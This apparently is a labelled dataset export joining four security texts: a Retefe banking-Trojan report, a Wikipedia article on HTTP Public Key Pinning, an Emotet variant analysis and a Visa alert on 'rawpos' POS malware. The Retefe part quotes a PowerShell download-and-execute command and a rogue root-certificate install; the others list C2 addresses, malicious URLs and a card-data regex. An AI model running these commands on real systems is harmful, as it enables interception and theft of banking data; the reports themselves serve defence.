installs the Smoke Loader Trojan, which is a modular backdoor capable of stealing credentials and installing additional malware. Retefe Behavior Retefe is different from most banking Trojans, which typically attack web browser software to capture login credentials before they are encrypted with SSL and sent to the bank\xe2\x80\x99s web server. Instead, Retefe uses the Windows PowerShell to execute a series of commands that installs a new root certificate on the system and a proxy configuration to re-route the traffic to the targeted banking websites. The Retefe Trojan writes the root certificate to the disk and then uses the following command to install it on the sytem. certutil -addstore -f -user ROOT ProgramData\\cert512121.der Retefe has used many certificates in the past, but the latest one is a fake \xe2\x80\x9cthawte Inc.\xe2\x80\x9d certificate. Figure 3:\xc2 Fake \xe2\x80\x9cthawte, Inc.\xe2\x80\x9d Root Certificate installed by Retefe. After installing the certificate, Retefe makes a request to a server over HTTPS to retrieve JavaScript code that will reconfigure the system proxy for web browsing to route traffic for specific banking domains through a server controlled by the attacker. \xc2 The proxy server performs a man-in-the-middle attack against the traffic, decrypting and possibly modifying the request before re-encrypting the data and passing it on to the bank. Retefe installs the new root certificate to prevent users from receiving a notification that the website they are contacting should not be trusted. The Retefe command and control server appears to only return this proxy configuration code if the infected host is located in Switzerland, Sweden or Japan. Retefe changes command and control servers frequently, but the most recent campaigns use domains that mimic the names of VPN services, including: securevpnalarm.net hsshvpn.net After installing the certificate and reconfiguring the system proxy, Retefe uses another PowerShell command to download an additional executable. In many cases we have identified this malware as a variant of Smoke Loader, a modular backdoor Trojan capable of stealing credentials from the infected system. Retefe variants download additional malware from multiple URLs, but in most cases the server hosting the executable is a compromised website hosted in the country being targeted by the sample. Below is one example of the PowerShell script that initiates the download and executes it. powershell.exe -Command (New-Object System.Net.WebClient).DownloadFile(\xe2\x80\x98http://www.schweizerhof-wetzikon[.]ch/images/rtucrtmirumctrutbitueriumxe/ivotyimoyctorieotcmir.exe\xe2\x80\x99 \xe2\x80\x98ProgramData\\Microsoft-KB512118.exe\xe2\x80\x99);(New-Object -com Shell.Application).ShellExecute(\xe2\x80\x98ProgramData\\Microsoft-KB512118.exe\xe2\x80\x99); We suspect the actors behind Retefe began downloading Smoke Loader to help monetize infection of systems outside of their three targeted nations. Conclusion While Retefe\xe2\x80\x99s distribution is small on a global scale, its attacks are specifically targeted at online banking customers in just a few countries. The most recent campaign shows that Retefe may also threaten users in other countries as they begin using their infections to install additional malware. Palo Alto Networks WildFire identifies Retefe and Smoke Loader samples as malicious and AutoFocus users can identify these samples using the SmokeLoader and Retefe tags. \xc2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"HTTP Public Key Pinning - Wikipedia HTTP Public Key Pinning From Wikipedia, the free encyclopedia Jump to navigation Jump to search HTTP Public Key Pinning (HPKP) is an Internet security mechanism delivered via an HTTP header which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent digital certificates.[1] It does this by delivering a set of public keys to the client (e.g. web browser), which should be the only ones trusted for future connections to the same domain name. For example, attackers might compromise a certificate authority, and then mis-issue certificates for a web origin. To combat this risk, the HTTPS web server serves a list of \xe2\x80\x9cpinned\xe2\x80\x9d public key hashes valid for a given time; on subsequent connections, during that validity time, clients expect the server to use one or more of those public keys in its certificate chain. If it does not, an error message is shown, which cannot be (easily) bypassed by the user. Contrary to a common belief, the technique does not pin certificates, but public keys. This means that one can use the key pair to get a certificate from any certificate authority, when one has access to the private key. Alternatively also the public keys of root or intermediate certificates (created by certificate authorities) can be pinned, which would subsequently allow all certificates issued by this certificate authority. The mechanism was deprecated by the Google Chrome team in late 2017 because of its complexity and dangerous side-effects. Google recommends using the Expect-CT as a safer alternative.[2][3] Contents 1 Mechanism 2 Reporting 3 Browser support and deprecation 4 See also 5 References 6 External links Mechanism[edit] The server communicates the HPKP policy to the user agent via an HTTP response header field named Public-Key-Pins (or Public-Key-Pins-Report-Only for reporting-only purposes). The HPKP policy specifies hashes of the subject public key info of one of the certificates in the website's authentic X.509 public key certificate chain (and at least one backup key) in pin-sha256 directives, and a period of time during which the user agent shall enforce public key pinning in max-age directive, optional includeSubDomains directive to include all subdomains (of the domain that sent the header) in pinning policy and optional report-uri directive with URL where to send pinning violation reports. At least one of the public keys of the certificates in the certificate chain needs to match a pinned public key in order for the chain to be considered valid by the user agent. At the time of publishing, RFC 7469 only allowed the SHA-256 hash algorithm. Hashes for HPKP policy can be generated by shell commands mentioned in Appendix A. of RFC 7469 or third-party tools. A website operator can choose to either pin the root certificate public key of a particular root certificate authority, allowing only that certificate authority (and all intermediate authorities signed by its key) to issue valid certificates for the website's domain, and/or to pin the key(s) of one or more intermediate issuing certificates, or to pin the end-entity public key. At least one backup key must be pinned, in case the current pinned key needs to be replaced. The HPKP is not valid without this backup key (a backup key is defined as a public key not present in the current certificate chain).[4] HPKP is standardized in RFC 7469.[1] It expands on static certificate pinning, which hardcodes public key hashes of well-known websites or services within web browsers and applications.[5] Most browsers disable pinning for certificate chains with private root certificates to enable various corporate content inspection scanners[6] and web debugging tools (such as mitmproxy or Fiddler). The RFC 7469 standard recommends disabling pinning violation reports for ""user-defined"" root certificates, where it is ""acceptable"" for the browser to disable pin validation.[7] Reporting[edit] If the user agent performs pin validation and fails to find a valid SPKI fingerprint in the served certificate chain, it will POST a JSON formatted violation report to the host specified in the report-uri directive containing details of the violation. This URI may be served via HTTP or HTTPS; however, the user agent cannot send HPKP violation reports to an HTTPS URI in the same domain as the domain for which it is reporting the violation. Hosts may either use HTTP for the report-uri, use an alternative domain, or use a reporting service.[8] Some browsers also support the Public-Key-Pins-Report-Only, which only triggers this reporting while not showing an error to the user. Browser support and deprecation[edit] HPKP is supported in Firefox and Opera[9] but not in Chrome or Internet Explorer/Edge.[10] Chrome deprecated HPKP with the release of Chrome 67.[11] See also[edit] Certificate authority compromise Certificate Transparency HTTP Strict Transport Security List of HTTP header fields DNS Certification Authority Authorization References[edit] ^ a b Evans, Chris; Palmer, Chris; Sleevi, Ryan (April 2015). Public Key Pinning Extension for HTTP. IETF. doi:10.17487/RFC7469. ISSN\xc2 2070-1721. RFC 7469. ^ Leyden, John. ""RIP HPKP: Google abandons public key pinning"". The Register. Retrieved 2018-12-18. ^ Tung, Liam. ""Google: Chrome is backing away from public key pinning, and here's why"". ZDNet. Retrieved 2018-12-18. ^ ""About Public Key Pinning"". noncombatant.org. Retrieved 2015-05-07. ^ ""Certificate and Public Key Pinning - OWASP"". www.owasp.org. Retrieved 2015-05-07. ^ ""Security FAQ - The Chromium Projects"". www.chromium.org. Retrieved 2015-07-07. ^ ""RFC 7469 - Public Key Pinning Extension for HTTP"". tools.ietf.org. Retrieved 2015-07-07. ^ ""HPKP Violation Reporting"". Scott Helme. ^ ""HTTP Public Key Pinning (HPKP)"". Mozilla Developer Network. Retrieved 2017-05-27. ^ ""The status of Public Key Pinning Extension for HTTP in Microsoft Edge is Under Consideration"". Microsoft Edge Development. ^ ""Deprecations and removals in Chrome 67"". Google Developers. External links[edit] Online browser HSTS and Public Key Pinning test JavaScript Public-Key-Pins (HPKP) calculator Article about the very beginning of HPKP Public Key Pinning Extension for HTTP (HPKP) on MDN Web Docs HPKP Violation Reporting HPKP Policy Analyser HPKP Hash Generator (URL) HPKP Hash Generator (PEM) v t e TLS and SSL Protocols and technologies Transport Layer Security / Secure Sockets Layer (TLS/SSL) Datagram Transport Layer Security (DTLS) Server Name Indication (SNI) Application-Layer Protocol Negotiation (ALPN) DNS-based Authentication of Named Entities (DANE) DNS Certification Authority Authorization (CAA) HTTPS HTTP Strict Transport Security (HSTS) HTTP Public Key Pinning (HPKP) OCSP stapling Perfect forward secrecy STARTTLS Public-key infrastructure Automated Certificate Management Environment (ACME) Certificate authority (CA) CA/Browser Forum Certificate policy Certificate revocation list (CRL) Domain-validated certificate (DV) Extended Validation Certificate (EV) Online Certificate Status Protocol (OCSP) Public key certificate Public-key cryptography Public key infrastructure (PKI) Root certificate Self-signed certificate See also Domain Name System Security Extensions (DNSSEC) Internet Protocol Security (IPsec) Secure Shell (SSH) History Export of cryptography from the United States Server-Gated Cryptography Implementations Bouncy Castle BoringSSL Botan cryptlib GnuTLS JSSE LibreSSL MatrixSSL mbed TLS NSS OpenSSL RSA BSAFE S2n SChannel SSLeay stunnel wolfSSL Notaries Certificate Transparency Convergence HTTPS Everywhere Perspectives Project Vulnerabilities Theory Man-in-the-middle attack Padding oracle attack Cipher Bar mitzvah attack Protocol BEAST BREACH CRIME DROWN Logjam POODLE (in regards to SSL 3.0) Implementation Certificate authority compromise Random number generator attacks FREAK goto fail Heartbleed Lucky Thirteen attack POODLE (in regards to TLS 1.0) Kazakhstan MITM attack Retrieved from ""https://en.wikipedia.org/w/index.php?title=HTTP_Public_Key_Pinning&oldid=913993146"" Categories: Hypertext Transfer Protocol headers Web security exploits Transport Layer Security Hidden categories: Pages using RFC magic links Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages Deutsch Fran\xc3\xa7ais Polski Suomi Ti\xe1\xba\xbfng Vi\xe1\xbb\x87t \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 4 September 2019, at 14:11\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Deep Analysis of New Emotet Variant \xe2\x80\x93 Part 1 Blog Business & Technology Threat Research Industry Trends Partners Threat Research Deep Analysis of New Emotet Variant \xe2\x80\x93 Part 1 By Xiaopeng Zhang | May 03, 2017 Background Last week, FortiGuard Labs captured a JS file that functions as a malware downloader to spread a new variant of the Emotet Trojan. Its original file name is Invoice__779__Apr___25___2017___lang___gb___GB779.js.\xc2 A JS file, as you may be aware, is a JavaScript file that can be executed by a Window Script Host (wscript.exe) simply by double-clicking on it. In this blog we will analyze how this new malware works by walking through it step by step in chronological order. A JS file used to spread malware The original JS code is obfuscated, and therefore hard to understand. Based on my analysis, its task is to generate a new JS code into an array and execute it. The new code is easier to understand, as you can see in the code snippet in Figure 1. As I mentioned, it\xe2\x80\x99s a downloader tool that tries to download malware from five URLs onto the affected device. Once one download is finished, the malware is saved to the system temporary folder as \xe2\x80\x9crandom name.exe\xe2\x80\x9d and executed. Figure 1. Snippet of the generated JS code Running the downloaded exe file While the downloaded exe file is executed, it moves itself to \xe2\x80\x9c%LocalAppData%\\random name\\random name.exe\xe2\x80\x9d . A random name for the file is generated using local file names. You can treat it as any random name, however, in my environment, the name is \xe2\x80\x9cLatnParams.exe\xe2\x80\x9d. To protect itself, once LatnParams.exe is executed it extracts code from itself, inserts it into a newly-created LatnParams.exe by calling the CreateProcessW function with a CREATE_SUSPENDED flag, and then restores the second process to run. Once that is complete, the first process exits. Later, the LatnParams.exe\xe2\x80\x99s lnk file is created inside the Startup folder in the system Start Menu so it can automatically run whenever the system starts. See Figure 2. Figure 2. Malware in Startup folder The main function of the second process Next, we\xe2\x80\x99ll look to see how the code works inside the second process that is created. There is a hidden window created for the second process. Its WindowProc function is to handle all windows messages for the window. This malware uses a WM_TIMER message to initiate it. Calling the SetTimer function can generate such a message. Once this window is created, a WM_CREATE message is sent to the WindowProc function, where it calls the SetTimer function to keep the system posting WM_TIMER messages every 200ms and then callback the window\xe2\x80\x99s WindowProc function. Figure 3. Call SetTimer Function Next, we will examine this WindowProc function. Figure 4 is the structure of this function in pseudo code. Figure 4. WindowProc Function Case 6 Code Branch In the case 6 code branch, the malware collects system information from the affected device, including computer name, country name, the names of all running programs, and content about whether or not MS Office Outlook is installed. It then puts all the collected data together into a memory buffer and encrypts it. Figure 5 shows the data ready for encryption. Figure 5. Collected data from the victim\xe2\x80\x99s system As you can see, the first part is the computer name. Following \xe2\x80\x9c16 00 01 00\xe2\x80\x9d is the CPU information. The next part is the running process names, followed by the string \xe2\x80\x9cMicrosoft Outlook,\xe2\x80\x9d which means that MS Office Outlook is installed on this machine. You may also notice that the debugger name \xe2\x80\x9cOllyDBG.exe\xe2\x80\x9d is also in the process name list. Through my analysis I found that the C&C server checks the process names. If it learns that a debugging-related tool (such as OllyDbg, WinDbg, IDA Pro, etc.) is being running on the victim\xe2\x80\x99s machine, a different response is returned. In this case, it replies with a new version of itself, causing itself to upgrade again and again until those tools exit. After encryption, it copies the encrypted data, the encryption key, and the hash value together into a new buffer. It then sets the next case number to 7 and exits the case 6 branch. Case 7 Code Branch In the case 7 code branch the main function is to connect to the C&C server and send collected data to the server. It also receives data from the C&C server. We\xe2\x80\x99ll take a look at how it works here. The C&C server\xe2\x80\x99s IP and port are hard-coded. In this version there are eleven, as shown below: 004175D0 ; DATA XREF: WindowProc+257r 004175D0\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ;sub_403AE0+Co 004175D0\xc2 dd 0D453A62Dh ;212.83.166.45 004175D4\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 004175D8\xc2 dd 0ADE68843h ;173.230.136.67 004175DC\xc2 dd 1BBh\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ;443 004175E0\xc2 dd 0ADE0DA19h ;173.224.218.25 004175E4\xc2 dd 1BBh\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ;443 004175E8\xc2 dd 68E38922h\xc2 ;104.227.137.34 004175EC\xc2 dd 1BA8h\xc2 \xc2 \xc2 \xc2 \xc2 ;7080 004175F0\xc2 dd 894AFE40h\xc2 ;137.74.254.64 004175F4\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 004175F8\xc2 dd 0BCA5DCD6h ;188.165.220.214 004175FC\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 00417600\xc2 dd 558FDDB4h\xc2 ;85.143.221.180\xc2 00417604\xc2 dd 1BA8h\xc2 \xc2 \xc2 \xc2 \xc2 ;7080 00417608\xc2 dd 77521BF6h\xc2 ;119.82.27.246 0041760C\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 00417610\xc2 dd 0C258F607h ;194.88.246.7 00417614\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 00417618\xc2 dd 0CED6DC4Fh ;206.214.220.79 0041761C\xc2 dd 1F90h\xc2 \xc2 \xc2 \xc2 \xc2 ;8080 00417620\xc2 dd 68EC02FDh\xc2 ;104.236.2.253 00417624\xc2 dd 1BBh\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ;443 It gets the data generated in the case 6 branch and encodes it using base64. It then sends the base64-encoded data as a Cookie value to the C&C server. Figure 6 shows the data in Wireshark. Figure 6. Send collected system information to C&C server In Figure 6, the status of the response from C&C server is \xe2\x80\x9c404 Not Found.\xe2\x80\x9d This message is used is to confuse analysts. The body, however, is the encrypted data. After receiving all data from the server, it sets the next case number to 8 and exits this branch. Case 8 Code Branch The only thing done in the case 8 branch is decrypt the data received in case 7. It then exits this branch and sets the next case number to 9. Case 9 Code Branch The case 9 branch is used to process the data decrypted in case 8. Figure 7 is a part of the pseudo code of case 9. Figure 7. Pseudo code of case 9 There are some sub-cases in the case 9 branch. The case number \xe2\x80\x9cv8\xe2\x80\x9d comes from decrypted data. Following are two examples of the decrypted data. In Figure 8, \xe2\x80\x9c08 01\xe2\x80\x9d is about a sub-case. \xe2\x80\x9c08\xe2\x80\x9d is a kind of flag or C&C command, and \xe2\x80\x9c01\xe2\x80\x9d refers to sub-case number 1. As you may know, the following data is an .exe file. In the sub-case 1 branch, this file is executed to upgrade the Emotet malware. Usually, it receives an upgrade command because the C&C server has detected that there is debugging-related tool in the running program names. It\xe2\x80\x99s a way to both protect itself against debugging and confuse analysts. In sub-case 1 branch, it saves the .exe file into a system temporary folder and runs it by calling the ShellExecuteW function. Meanwhile, the parent process exits to finish the upgrade. Figure 8. Sub-case 1 example Figure 9. Sub-case 4 example I manually modified the \xe2\x80\x9cOllyDBG.exe\xe2\x80\x9d to another program name before encryption (refer back to Figure 5). Then I was able to get the response shown in Figure 9. The flag changes to \xe2\x80\x9c08 04\xe2\x80\x9d, where \xe2\x80\x9c04\xe2\x80\x9d means sub-case number 4. In my analysis, it contains 3 modules (.dll files) in the decrypted data. The flags for all of them are \xe2\x80\x9c08 04\xe2\x80\x9d. Which means the modules are all processed in the sub-case 4 branch. As you can see in Figure 7, the sub-case 4 calls the CreateThread function to create threads and run the modules in the ThreadFunction, with one thread for one module. So far, we have only finished the analysis of one of the three Emotet modules. We are still working on analyzing the others, and will share that analysis in another blog. So next, let\xe2\x80\x99s take a look at what this module is able to do. The module loaded in a thread Based on my analysis, this module steals credential information from a victim\xe2\x80\x99s machine. It then encrypts that stolen data and sends it to the C&C server. When this module is loaded in the ThreadFunction, it inserts the code extracted from itself into a newly-created LathParams.exe process to run. The newly-created process has a command line parameter like \xe2\x80\x9c%temp%\\A98b.tmp\xe2\x80\x9d. This is a temporary file used to save the stolen credential information. It is able to steal credentials for Google accounts, FTP accounts saved in IE, Google Talk, Office Outlook, IncrediMail, Group Mail, MSN Messenger, Mozilla Thunderbird, and many others. The following screenshot shows some of them. Figure 10. Targeted email-related credentials For testing purposes, I added a test account into MS Office Outlook to see how it works. The account profile is shown here in Figure 11: Figure 11. Test account added into Outlook The stolen credential data is saved in the temporary file specified in the command line parameter, where it will be encrypted and sent to the C&C server in the ThreadFunction.\xc2 In the following several figures you can see the stolen credential information in the temporary file, the data in memory before encryption, and the data sent to the C&C server. Figure 12. Stolen credential Figure 13. Before encryption Figure 14. Data sent to the C&C server \xc2 Solution The original JS file has been detected as JS/Nemucod.F436!tr and the downloaded Emotet exe has been detected as W32/GenKryptik.ADJR!tr by the FortiGuard Antivirus service. IoC URL: ""hxxp://willemberg.co.za/TwnZ36149pKUsr/"" ""hxxp://meanconsulting.com/K44975X/"" ""hxxp://microtecno.com/i17281nfryG/"" ""hxxp://thefake.com/Y96158yeXR/"" ""hxxp://cdoprojectgraduation.com/eaSz15612O/"" Sample SHA256: Invoice__779__Apr___25___2017___lang___gb___GB779.js B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1E5E7F3CD4E5BB150A4 Tags: emotet, malware, exe, java script, trojan, js, windows, script, threat research, rat Related Posts Threat Research Deep Analysis of a Driver-Based MITM Malware: iTranslator Threat Research Deep Analysis of New Emotet Variant \xe2\x80\x93 Part 2 Threat Research German Speakers Targeted by SPAM Leading to Ozone RAT News & Articles News Releases News Articles Trademarks Security Research Threat Research FortiGuard Labs Threat Map Threat Briefs Ransomware Connect With Us Blog Fuse Company About Us Why Fortinet Security Fabric Exec Mgmt Careers Certifications Events Industry Awards Contact Us (866) 868-3678 Copyright \xc2\xa9 2019 Fortinet, Inc. All Rights Reserved Terms of Services Privacy Policy","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"VISA BEST PRACTICES Visa Public 1 V ISA SECUR ITY A LERT March 2015 \xe2\x80\x9cRAWP OS\xe2\x80\x9d MA LW A RE TA RG ETIN G LODG IN G ME RC HA N TS Distribution: Merchants, Acquirers Summary The \xe2\x80\x9crawpos\xe2\x80\x9d malware is a memory scraper infecting global lodging merchants at an alarming rate. Variants date as far back as 2008, and it is one of the first known memory scrapers to target Point of Sale (POS) systems. Typically clustered in three files, there is no standard infection method for this malware. Of particular note with recent samples is a logic bomb that does not function outside the timing parameters. Adherence to PCI-DSS 3.0 should mitigate this malware. Distribution and Installation Once a vulnerable POS system is identified, various components of the malware are used to discover track data by only targeting the \xe2\x80\x9cmemdump\xe2\x80\x9d portion of a Windows system. A memory dump can be the contents of memory on a system and where cardholder data temporarily resides during a payment transaction. This particular malware piece can be compiled with Perl2Exe. Perl2Exe is a program that takes codes scripted in the Perl language and bundles it into a Windows executable, which hides the Perl code. Numerous directories and file extensions are ignored. Any files not containing the ignored directories and file extensions are searched for track data using a regular expression similar to the format listed below: ((B(([0-9]{13,16})|([0-9]|\\\\s){13,25})\\\\^[A-Z\\\\s0-9]{0,30}\\\\/[A-Z\\\\s0-9]{0,30}\\\\^(0[7-9]|1[0- 9])((0[1-9])|(1[0-2]))([0-9]|\\\\s){3,50}[0- 9]{1})|([0-9]{15,16}([A-Z]|=)(0[7-9]|1[0-9])((0[1-9])|(1[0- 2]))[0-9]{8,30})|([0-9]{15,19})|(~CCM[0-9]{15,19}D[0- 9]{4}~)) Discovered track data is encrypted with an XOR key, such as 'anonymousgroup'. This data is delimited with the '$$$' character combination. Encrypted data can be written to a separate file, sometimes named \xe2\x80\x9cdxdiag32.dll\xe2\x80\x9d. Data is also dumped in clear-text to .dmp files on the victim system in the \xe2\x80\x9cmemdump\xe2\x80\x9d directory. For example: memdump\\\\_.dmp A second file is also installed as a service by providing the '-install' or '/install' parameter. This creates a persistence mechanism which allows the scraper to continually run so long as the service is running. The sample is installed with the following attributes: Service Name: xxx XXXManager Display Name: xxx XXXManager Visa Public 2 Description: [N/A] Executable Path: C:\\PROGRA~1\\xxx\\SECURE~1\\v1.2.0.3\\XXXPrimaryManager\\Bin\\XXXManagerService.exe Startup Type: Automatic Alternatively, the malware removes this service if the '-remove' or '/remove' argument is supplied. In the event the '-debug' or '/debug' argument is provided, the malware will run in standalone mode. By default, the malware will attempt to start the service. When executed, the sample is responsible for executing the following commands on the victim host: pushd C:\\\\PROGRA~1\\\\xxx\\\\Secure~1\\\\v1.2.0.3\\\\XXXPrimaryManager\\\\Bin&start /min xxxprimarymanager.exe&start /min xxxsecondarymanager.exe The executable can also install itself in the System32 folder. Additional files and hashes often coupled with \xe2\x80\x9crawpos\xe2\x80\x9d include: mmc.exe vsssvc.exe visaudp.exe psex.exe (aka \xe2\x80\x9cpsexec\xe2\x80\x9d) sdelete.exe se.exe framepkg.exe spoolsv.chm While there is no common method of exfiltration associated with this malware family, infected merchants observed payment card data sitting on non-POS systems, suggesting attackers stage the stolen data elsewhere on the network prior to exfiltration. Best Practices Visa requires participants in the payment ecosystem to comply with all PCI-DSS requirements and recommends participants implement the following best practices: \xef\x82\xb7 Control the Windows Administrator account. Make it more difficult for malware to gain Administrative privileges. \xef\x82\xb7 Assign a strong password for all accounts on the POS system. \xef\x82\xb7 Create a unique local Administrator password for each and every POS system. \xef\x82\xb7 Do not allow users to be local Administrators on a POS system. \xef\x82\xb7 Change passwords frequently, across the enterprise (at least every 90 days). https://www.pcisecuritystandards.org/documents/PCI_DSS_v3.pdf Visa Public 3 \xef\x82\xb7 Ensure the POS system functions as a single purpose machine. To reduce the risk of malicious software infections, disallow all applications and services (i.e. Internet browsers, email clients) that are not directly required as part of the POS\xe2\x80\x99s core functionality in processing payments. \xef\x82\xb7 Keep operating system patch levels up to date. For Windows, this means ensuring Windows Update is functioning and automatically applying monthly security patches. For non-supported operating systems like Windows XP, there should be a plan to migrate to a current operating system. \xef\x82\xb7 Restrict permissions on Windows file sharing or disable file sharing altogether. Unless absolutely necessary, Visa recommends disabling file sharing on POS systems. Microsoft has published instructions on how to disable simple file sharing and set permissions on shared folders. \xef\x82\xb7 Restrict remote access services use. Unless necessary, disable remote access services, ports and accounts. If remote access services are needed, enable only when needed. \xef\x82\xb7 Promote security awareness. Design anti-phishing programs, defense in depth strategies, and promote shared responsibility in security awareness. Indicators MD5 Hash Function bfb0eb8aacbf380cba9beb635557178a RAM scraper 63b7cad5307a1927e16d7cd096b81831 RAM scraper 52fd283903f0e44e3da3233f7ad894a9 Aggregates and encrypts track data 0a06948f0eb5866216759ec69b315ced Persistence 20c9388f45ff2d31754812a457ffbb0c Memory dumper The following MD5 hashes are also linked to the indicators above: \xef\x82\xb7 65375c1eb4683cbd2a868f99ac983b03 \xef\x82\xb7 3f66583c8f67e7c255598d9d68394059 \xef\x82\xb7 ba9b109d929a643c831867cbc7459c4d \xef\x82\xb7 0c67494a4019264bceca488253610ef0 \xef\x82\xb7 27d5c5f6f7b921c89ffb860d7e170b29 \xef\x82\xb7 3ba5dafea1c447a2379811996f986006 \xef\x82\xb7 4183e7fc2d9741c6039ba6eb357f57c3 \xef\x82\xb7 5fa64cfcab7f4e95d6a55c2185a0515d \xef\x82\xb7 ce0c7282e9116e1c46ee535c976e676e \xef\x82\xb7 bd6c56097e107d12102c0df1136a96d1 \xef\x82\xb7 a3c0c081c4410b8ee1b68f0010ac3e45 \xef\x82\xb7 7b61acc924ba4e5afa32e76afefe1e86 \xef\x82\xb7 6c6de1c1e8e15574cb7e40cc7cc54536 \xef\x82\xb7 65375c1eb4683cbd2a868f99ac983b03 \xef\x82\xb7 19623ea25524a22c70a9b78059eba701 \xef\x82\xb7 0b4b25c328af1fa348b8288043c704b7 \xef\x82\xb7 3d0a57c178977781848533cb3038a087 \xef\x82\xb7 65c44501369650db625043da125a4f0e \xef\x82\xb7 91c40ca8c3aefa23e12755836220dfad http://support.microsoft.com/kb/307874 http://support.microsoft.com/kb/307874 Visa Public 4 \xef\x82\xb7 402c8cdb483b1e3e51a7f1e4749f9625 \xef\x82\xb7 b075edd7288880e846414736a1f6b124 \xef\x82\xb7 281591ef0fa2ce3536621327d020d23f \xef\x82\xb7 3004ce6cb7c44605cdf971b74db3a079 \xef\x82\xb7 bf27e87187c045e402731cdaa8a62861 \xef\x82\xb7 d770adbee04d14d6aa2f188247af16d0 \xef\x82\xb7 a63d6203d1d7568868ebe7521406b057 \xef\x82\xb7 fb9f8f1bee8b3fb47d7d84bb2286801d Additional Resources Microsoft\xe2\x80\x99s support for Windows XP ended in April 2014and will end in January 2016 for Windows XP Embedded (XPe). Risk for POS applications built on these platforms will increase. See Microsoft Windows XP Support lifecycle timeline for more details. To report a data breach, contact Visa Fraud Control: \xef\x82\xb7 Asia Pacific Region, Central Europe/Middle East/Africa Region: VIFraudControl@visa.com \xef\x82\xb7 Canada Region, Latin America Region, United States: USFraudControl@visa.com For other questions, please contact Visa Risk Management: cisp@visa.com http://www.microsoft.com/en-us/windows/enterprise/endofsupport.aspx http://www.microsoft.com/en-us/windows/enterprise/endofsupport.aspx http://www.microsoft.com/en-us/windows/enterprise/endofsupport.aspx http://www.microsoft.com/en-us/windows/enterprise/endofsupport.aspx mailto:VIFraudControl@visa.com 